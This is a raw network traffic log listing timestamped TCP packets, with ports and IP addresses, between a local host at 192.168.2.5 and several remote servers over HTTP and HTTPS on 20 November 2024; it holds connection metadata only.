Nov 20, 2024 01:18:40.645363092 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.645370960 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.645381927 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.645396948 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.645406008 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.645412922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.645456076 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.697957993 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.699177027 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.699210882 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.699960947 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.699969053 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.704308033 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.705394983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.708391905 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.709175110 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.709187031 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.710728884 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.710735083 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.714459896 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.714855909 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.714881897 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.715408087 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.715414047 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.719048023 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.719438076 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.719460964 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.720730066 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.720736980 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.791449070 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.798748016 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.798764944 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.799170971 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.799253941 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.799267054 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.800107002 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.800205946 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.800205946 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.800205946 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.802901983 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.802939892 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.803170919 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.803324938 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.803333998 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.810117006 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.810262918 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.810384035 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.810384035 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.810412884 CET	49827	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.810425997 CET	443	49827	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.812581062 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.812628984 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.812985897 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.812985897 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.813024998 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.818614960 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.818981886 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.819015980 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.819036961 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.819078922 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.819113016 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.819123983 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.819133997 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.819140911 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.821216106 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.821232080 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.821393967 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.821468115 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.821480989 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.823009014 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.823225021 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.823256969 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.823280096 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.823321104 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.823364019 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.823374987 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.823381901 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.823388100 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.825716972 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.825745106 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.825853109 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.825997114 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.826009989 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.899852991 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.900036097 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.900156975 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.900193930 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.900193930 CET	49829	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.900211096 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.900223017 CET	443	49829	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.903136015 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.903150082 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:40.903337955 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.903429031 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:40.903443098 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.020780087 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.020798922 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.459119081 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.472666025 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.482820988 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.483268023 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.489141941 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.489171028 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.489949942 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.489955902 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.490300894 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.490349054 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.490695000 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.490708113 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.490880013 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.490905046 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.491338968 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.491343975 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.491467953 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.491478920 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.491767883 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.491771936 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.534352064 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.534962893 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.534977913 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.535469055 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.535474062 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.585207939 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.585424900 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.585539103 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.589524031 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.589773893 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.589835882 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.590692043 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.590715885 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.590723038 CET	49833	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.590729952 CET	443	49833	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.591276884 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.591300011 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.591341972 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.591368914 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.591403008 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.592253923 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.592276096 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.592291117 CET	49830	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.592298985 CET	443	49830	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.593240023 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.593251944 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.593277931 CET	49832	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.593285084 CET	443	49832	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.594511032 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.594830036 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.595159054 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.595621109 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.595621109 CET	49831	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.595638990 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.595653057 CET	443	49831	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.597645998 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.597680092 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.597788095 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.600255966 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.600280046 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.600364923 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.600456953 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.600539923 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.600620985 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.601242065 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.601258039 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.602281094 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.602281094 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.602293015 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.602310896 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.602344990 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.602540016 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.602550030 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.602860928 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.602900028 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.635718107 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.635791063 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.635934114 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.636336088 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.636354923 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.636368990 CET	49834	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.636374950 CET	443	49834	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.640305996 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.640342951 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:41.640614986 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.641247034 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:41.641275883 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.164163113 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:42.164210081 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:42.164302111 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:42.164899111 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:42.164917946 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:42.246037006 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.246741056 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.246763945 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.247222900 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.247226954 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.253079891 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.253499031 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.253539085 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.253911972 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.253923893 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.260860920 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.261349916 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.261369944 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.261383057 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.261667967 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.261722088 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.261779070 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.261784077 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.262128115 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.262135983 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.279428959 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.279813051 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.279825926 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.280231953 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.280236959 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.350235939 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.350357056 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.350405931 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.350410938 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.350464106 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.350615978 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.350630045 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.350663900 CET	49836	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.350670099 CET	443	49836	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.353394032 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.353441000 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.353576899 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.353688002 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.353708982 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.355581045 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.355640888 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.355715990 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.355902910 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.355902910 CET	49837	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.355947971 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.356012106 CET	443	49837	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.358088017 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.358143091 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.358206034 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.358338118 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.358357906 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.367271900 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.367866039 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.367921114 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.367932081 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.367975950 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.368016005 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.368033886 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.368047953 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.368047953 CET	49838	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.368053913 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.368060112 CET	443	49838	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.369003057 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.369179964 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.369239092 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.369283915 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.369283915 CET	49835	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.369307995 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.369321108 CET	443	49835	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.370467901 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.370482922 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.370933056 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.371165991 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.371180058 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.371191025 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.371221066 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.371292114 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.371378899 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.371390104 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.394736052 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.394876957 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.394932032 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.394968987 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.394969940 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.394989014 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.395009995 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.396933079 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.396955013 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.397145033 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.397303104 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:42.397311926 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:42.946439981 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:42.946590900 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:42.969189882 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:42.969218016 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:42.969976902 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:42.971438885 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:42.971513987 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:42.971518993 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:42.971698046 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:43.015333891 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:43.016208887 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.022571087 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.022586107 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.023325920 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.023332119 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.023694992 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.024259090 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.028075933 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.028111935 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.037542105 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.037549019 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.046746969 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.046753883 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.047142029 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.047147989 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.070444107 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.071537018 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.071551085 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.072231054 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.076373100 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.076379061 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.081024885 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.081039906 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.081420898 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.081427097 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.133284092 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.133337021 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.133393049 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.133502007 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.133516073 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.133528948 CET	49841	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.133537054 CET	443	49841	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.135852098 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.135902882 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.135998964 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.136113882 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.136126995 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.138088942 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.138325930 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.138385057 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.138421059 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.138421059 CET	49842	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.138437986 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.138447046 CET	443	49842	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.140237093 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.140261889 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.140332937 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.140433073 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.140444994 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.145697117 CET	443	49843	13.107.246.45	192.168.2.5
